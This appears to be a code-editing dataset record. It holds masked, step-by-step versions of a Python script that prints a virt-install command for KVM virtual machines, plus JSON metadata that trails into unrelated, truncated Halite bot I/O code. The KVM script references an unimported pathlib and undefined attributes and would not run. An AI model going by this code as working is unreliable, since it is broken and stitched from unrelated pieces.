<|reserved_special_token_0|> def parse_command_line(argv): """Parse command line argument. See -h option :param argv: arguments on the command line must include caller file name. """ formatter_class = argparse.RawDescriptionHelpFormatter parser = argparse.ArgumentParser(description=module, formatter_class= formatter_class) parser.add_argument('-n', '--name', dest='name', metavar='hostname', nargs='?', type=str, required=True, help='Define a virtual hostname') parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?', required=True, type=str, choices=['debian', 'mint', 'centos', 'mac', 'w7'], help='Define a operating system') parser.add_argument('--dry-run', help= 'Only print throughput, do not execute command.', action='store_true') parser.add_argument('--legacy', help= 'Use legacy install (from official repository).', action='store_true') parser.add_argument('--version', action='version', version= '%(prog)s {}'.format(__version__)) parser.add_argument('-v', '--verbose', dest='verbose_count', action= 'count', default=0, help='increases log verbosity for each occurence.') arguments = parser.parse_args(argv[1:]) log.setLevel(max(3 - arguments.verbose_count, 0) * 10) return arguments def main(): """Main program. Sets up logging and do some work.""" logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format= '%(name)s (%(levelname)s): %(message)s') kvm = pathlib.Path('/disks/d/VMWare/KVM') os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso', 'win7_full': '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso' , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso', 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'} try: arguments = parse_command_line(sys.argv) server = arguments.name os = arguments.os legacy = arguments.legacy dry = arguments.dry_run if kvm.path.exists(): kvm_disk = kvm_path + server command = ( 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0' ) if dry: print(command) print(kvm_disk) except KeyboardInterrupt: log.error('Program interrupted!') finally: logging.shutdown() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def parse_command_line(argv): """Parse command line argument. See -h option :param argv: arguments on the command line must include caller file name. """ formatter_class = argparse.RawDescriptionHelpFormatter parser = argparse.ArgumentParser(description=module, formatter_class= formatter_class) parser.add_argument('-n', '--name', dest='name', metavar='hostname', nargs='?', type=str, required=True, help='Define a virtual hostname') parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?', required=True, type=str, choices=['debian', 'mint', 'centos', 'mac', 'w7'], help='Define a operating system') parser.add_argument('--dry-run', help= 'Only print throughput, do not execute command.', action='store_true') parser.add_argument('--legacy', help= 'Use legacy install (from official repository).', action='store_true') parser.add_argument('--version', action='version', version= '%(prog)s {}'.format(__version__)) parser.add_argument('-v', '--verbose', dest='verbose_count', action= 'count', default=0, help='increases log verbosity for each occurence.') arguments = parser.parse_args(argv[1:]) log.setLevel(max(3 - arguments.verbose_count, 0) * 10) return arguments def main(): """Main program. Sets up logging and do some work.""" logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format= '%(name)s (%(levelname)s): %(message)s') kvm = pathlib.Path('/disks/d/VMWare/KVM') os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso', 'win7_full': '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso' , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso', 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'} try: arguments = parse_command_line(sys.argv) server = arguments.name os = arguments.os legacy = arguments.legacy dry = arguments.dry_run if kvm.path.exists(): kvm_disk = kvm_path + server command = ( 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0' ) if dry: print(command) print(kvm_disk) except KeyboardInterrupt: log.error('Program interrupted!') finally: logging.shutdown() if __name__ == '__main__': sys.exit(main()) <|reserved_special_token_1|> <|reserved_special_token_0|> module = sys.modules['__main__'].__file__ __author__ = 'FFX' __version__ = '1.0' log = logging.getLogger(module) def parse_command_line(argv): """Parse command line argument. See -h option :param argv: arguments on the command line must include caller file name. """ formatter_class = argparse.RawDescriptionHelpFormatter parser = argparse.ArgumentParser(description=module, formatter_class= formatter_class) parser.add_argument('-n', '--name', dest='name', metavar='hostname', nargs='?', type=str, required=True, help='Define a virtual hostname') parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?', required=True, type=str, choices=['debian', 'mint', 'centos', 'mac', 'w7'], help='Define a operating system') parser.add_argument('--dry-run', help= 'Only print throughput, do not execute command.', action='store_true') parser.add_argument('--legacy', help= 'Use legacy install (from official repository).', action='store_true') parser.add_argument('--version', action='version', version= '%(prog)s {}'.format(__version__)) parser.add_argument('-v', '--verbose', dest='verbose_count', action= 'count', default=0, help='increases log verbosity for each occurence.') arguments = parser.parse_args(argv[1:]) log.setLevel(max(3 - arguments.verbose_count, 0) * 10) return arguments def main(): """Main program. Sets up logging and do some work.""" logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format= '%(name)s (%(levelname)s): %(message)s') kvm = pathlib.Path('/disks/d/VMWare/KVM') os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso', 'win7_full': '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso' , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso', 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'} try: arguments = parse_command_line(sys.argv) server = arguments.name os = arguments.os legacy = arguments.legacy dry = arguments.dry_run if kvm.path.exists(): kvm_disk = kvm_path + server command = ( 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0' ) if dry: print(command) print(kvm_disk) except KeyboardInterrupt: log.error('Program interrupted!') finally: logging.shutdown() if __name__ == '__main__': sys.exit(main()) <|reserved_special_token_1|> import sys import argparse import logging from pathlib import Path module = sys.modules['__main__'].__file__ __author__ = 'FFX' __version__ = '1.0' log = logging.getLogger(module) def parse_command_line(argv): """Parse command line argument. See -h option :param argv: arguments on the command line must include caller file name. """ formatter_class = argparse.RawDescriptionHelpFormatter parser = argparse.ArgumentParser(description=module, formatter_class= formatter_class) parser.add_argument('-n', '--name', dest='name', metavar='hostname', nargs='?', type=str, required=True, help='Define a virtual hostname') parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?', required=True, type=str, choices=['debian', 'mint', 'centos', 'mac', 'w7'], help='Define a operating system') parser.add_argument('--dry-run', help= 'Only print throughput, do not execute command.', action='store_true') parser.add_argument('--legacy', help= 'Use legacy install (from official repository).', action='store_true') parser.add_argument('--version', action='version', version= '%(prog)s {}'.format(__version__)) parser.add_argument('-v', '--verbose', dest='verbose_count', action= 'count', default=0, help='increases log verbosity for each occurence.') arguments = parser.parse_args(argv[1:]) log.setLevel(max(3 - arguments.verbose_count, 0) * 10) return arguments def main(): """Main program. Sets up logging and do some work.""" logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format= '%(name)s (%(levelname)s): %(message)s') kvm = pathlib.Path('/disks/d/VMWare/KVM') os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso', 'win7_full': '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso' , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso', 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'} try: arguments = parse_command_line(sys.argv) server = arguments.name os = arguments.os legacy = arguments.legacy dry = arguments.dry_run if kvm.path.exists(): kvm_disk = kvm_path + server command = ( 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0' ) if dry: print(command) print(kvm_disk) except KeyboardInterrupt: log.error('Program interrupted!') finally: logging.shutdown() if __name__ == '__main__': sys.exit(main()) <|reserved_special_token_1|> #!/usr/bin/python3 # encoding: utf-8 import sys import argparse import logging from pathlib import Path module = sys.modules['__main__'].__file__ __author__ = 'FFX' __version__ = '1.0' log = logging.getLogger(module) def parse_command_line(argv): """Parse command line argument. See -h option :param argv: arguments on the command line must include caller file name. """ formatter_class = argparse.RawDescriptionHelpFormatter parser = argparse.ArgumentParser(description=module,formatter_class=formatter_class) parser.add_argument('-n', '--name', dest="name", metavar="hostname", nargs='?', type=str, required=True, help="Define a virtual hostname") parser.add_argument('-o', '--os', dest="os", metavar="os", nargs='?', required=True, type=str, choices=['debian','mint','centos','mac','w7'], help="Define a operating system") parser.add_argument("--dry-run", help="Only print throughput, do not execute command.", action="store_true") parser.add_argument("--legacy", help="Use legacy install (from official repository).", action="store_true") parser.add_argument("--version", action="version", version="%(prog)s {}".format(__version__)) parser.add_argument("-v", "--verbose", dest="verbose_count", action="count", default=0, help="increases log verbosity for each occurence.") arguments = parser.parse_args(argv[1:]) # Sets log level to WARN going more verbose for each new -v. log.setLevel(max(3 - arguments.verbose_count, 0) * 10) return arguments def main(): """Main program. Sets up logging and do some work.""" logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format='%(name)s (%(levelname)s): %(message)s') kvm = pathlib.Path("/disks/d/VMWare/KVM") os = { 'win7':'/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso', 'win7_full':'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso', 'mint':'/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso', 'solaris':'/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso' } try: arguments = parse_command_line(sys.argv) # Assign args to variables server = arguments.name os = arguments.os legacy = arguments.legacy dry = arguments.dry_run if kvm.path.exists(): kvm_disk = kvm_path + server command = "virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0" if dry: print(command) print(kvm_disk) except KeyboardInterrupt: log.error('Program interrupted!') finally: logging.shutdown() if __name__ == "__main__": sys.exit(main())
flexible
{ "blob_id": "46adb1834f6013ca0f13a64f280182a805d76278", "index": 215, "step-1": "<mask token>\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-3": "<mask token>\nmodule = sys.modules['__main__'].__file__\n__author__ = 'FFX'\n__version__ = '1.0'\nlog = logging.getLogger(module)\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-4": "import sys\nimport argparse\nimport logging\nfrom pathlib import Path\nmodule = sys.modules['__main__'].__file__\n__author__ = 'FFX'\n__version__ = '1.0'\nlog = logging.getLogger(module)\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-5": "#!/usr/bin/python3\n# encoding: utf-8\n\n\nimport sys\nimport argparse\nimport logging\nfrom pathlib import Path\n\n\nmodule = sys.modules['__main__'].__file__\n__author__ = 'FFX'\n__version__ = '1.0'\nlog = logging.getLogger(module)\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module,formatter_class=formatter_class)\n parser.add_argument('-n', '--name', dest=\"name\", metavar=\"hostname\",\n nargs='?', \n type=str,\n required=True,\n help=\"Define a virtual hostname\")\n parser.add_argument('-o', '--os', dest=\"os\", metavar=\"os\",\n nargs='?', \n required=True,\n type=str,\n choices=['debian','mint','centos','mac','w7'],\n help=\"Define a operating system\")\n parser.add_argument(\"--dry-run\", help=\"Only print throughput, do not execute command.\",\n action=\"store_true\")\n parser.add_argument(\"--legacy\", help=\"Use legacy install (from official repository).\",\n action=\"store_true\")\n parser.add_argument(\"--version\", action=\"version\",\n version=\"%(prog)s {}\".format(__version__))\n parser.add_argument(\"-v\", \"--verbose\", dest=\"verbose_count\",\n action=\"count\", default=0,\n help=\"increases log verbosity for each occurence.\")\n arguments = parser.parse_args(argv[1:])\n # Sets log level to WARN going more verbose for each new -v.\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG,\n format='%(name)s (%(levelname)s): %(message)s')\n\n kvm = pathlib.Path(\"/disks/d/VMWare/KVM\")\n os = { \n 'win7':'/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso',\n 'mint':'/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris':'/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'\n }\n\n try:\n arguments = parse_command_line(sys.argv)\n # Assign args to variables\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = \"virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0\"\n if dry:\n print(command)\n print(kvm_disk)\n\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\nif __name__ == \"__main__\":\n sys.exit(main())\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
from .FactorWarData import Get_FactorWar_Data
normal
{ "blob_id": "5aa55a96e414ad6b3ceebbcbd71c23a1fd69f0d1", "index": 6400, "step-1": "<mask token>\n", "step-2": "from .FactorWarData import Get_FactorWar_Data\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(string.casefold()) print(len(string)) <|reserved_special_token_0|> print(string.lower()) print(string.upper()) <|reserved_special_token_0|> print(a) print(a.strip()) <|reserved_special_token_0|> print(b) <|reserved_special_token_1|> string = 'Rutuja MaluSare' print(string.casefold()) print(len(string)) <|reserved_special_token_0|> print(string.lower()) print(string.upper()) a = ' hello ' print(a) print(a.strip()) b = 12 print(b) <|reserved_special_token_1|> string="Rutuja MaluSare" print(string.casefold()) print(len(string)) """string1=input("enter string 1") print("string1") print(len(string1)) string2=input("enter string 2") print("string2") print(len(string2)) string3=string1+string2 print(len(string3))""" #lower case print(string.lower()) #upper case print(string.upper()) #strip =removes white spaces from start and end a=" hello " print(a) print(a.strip()) #isdigit b= 12 print(b)
flexible
{ "blob_id": "024bc95f7255bb8be5c3c4ade9d212c9555a4f01", "index": 3034, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(string.casefold())\nprint(len(string))\n<mask token>\nprint(string.lower())\nprint(string.upper())\n<mask token>\nprint(a)\nprint(a.strip())\n<mask token>\nprint(b)\n", "step-3": "string = 'Rutuja MaluSare'\nprint(string.casefold())\nprint(len(string))\n<mask token>\nprint(string.lower())\nprint(string.upper())\na = ' hello '\nprint(a)\nprint(a.strip())\nb = 12\nprint(b)\n", "step-4": "string=\"Rutuja MaluSare\"\nprint(string.casefold())\nprint(len(string))\n\n\"\"\"string1=input(\"enter string 1\")\nprint(\"string1\")\nprint(len(string1))\n\nstring2=input(\"enter string 2\")\nprint(\"string2\")\nprint(len(string2))\n\n\nstring3=string1+string2\nprint(len(string3))\"\"\"\n\n#lower case\nprint(string.lower())\n#upper case\nprint(string.upper())\n\n#strip =removes white spaces from start and end\na=\" hello \"\nprint(a)\nprint(a.strip())\n\n#isdigit\nb= 12\nprint(b)\n\n\n\n\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class GameStdIO: <|reserved_special_token_0|> <|reserved_special_token_0|> def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ sys.stdout.write('\n') sys.stdout.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = sys.stdin.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = '{}_{}.log'.format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info('Initialized bot {}'.format(name)) def __init__(self, name): """ Initialize the bot with the given name. :param name: The name of the bot. """ self._name = name self._send_name = False tag = int(self._get_string()) GameStdIO._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info('---NEW TURN---') recv = self._get_string() if recv == '': self.close() self.done = True return self.map self.map._parse(recv) return self.map def close(self): pass <|reserved_special_token_1|> <|reserved_special_token_0|> class GameUnix: <|reserved_special_token_0|> def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ self.sfile.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ self.sfile.write('\n') self.sfile.flush() <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info('---NEW TURN---') recv = self._get_string() if recv == '': self.close() self.done = True return self.map self.map._parse(recv) return self.map <|reserved_special_token_0|> class GameStdIO: """ :ivar map: Current map representation :ivar initial_map: The initial version of the map before game starts """ def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ sys.stdout.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ sys.stdout.write('\n') sys.stdout.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = sys.stdin.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = '{}_{}.log'.format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info('Initialized bot {}'.format(name)) def __init__(self, name): """ Initialize the bot with the given name. :param name: The name of the bot. """ self._name = name self._send_name = False tag = int(self._get_string()) GameStdIO._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info('---NEW TURN---') recv = self._get_string() if recv == '': self.close() self.done = True return self.map self.map._parse(recv) return self.map def close(self): pass <|reserved_special_token_1|> <|reserved_special_token_0|> class GameUnix: <|reserved_special_token_0|> def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ self.sfile.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ self.sfile.write('\n') self.sfile.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = self.sfile.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = '{}_{}.log'.format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info('Initialized bot {}'.format(name)) def __init__(self, name, socket_path='/dev/shm/bot.sock'): """ Initialize the bot with the given name. :param name: The name of the bot. """ self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) connected = False while not connected: try: self.s.connect(socket_path) connected = True except Exception: pass self.sfile = self.s.makefile('rw') self._name = name self._send_name = False tag = int(self._get_string()) GameUnix._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info('---NEW TURN---') recv = self._get_string() if recv == '': self.close() self.done = True return self.map self.map._parse(recv) return self.map <|reserved_special_token_0|> class GameStdIO: """ :ivar map: Current map representation :ivar initial_map: The 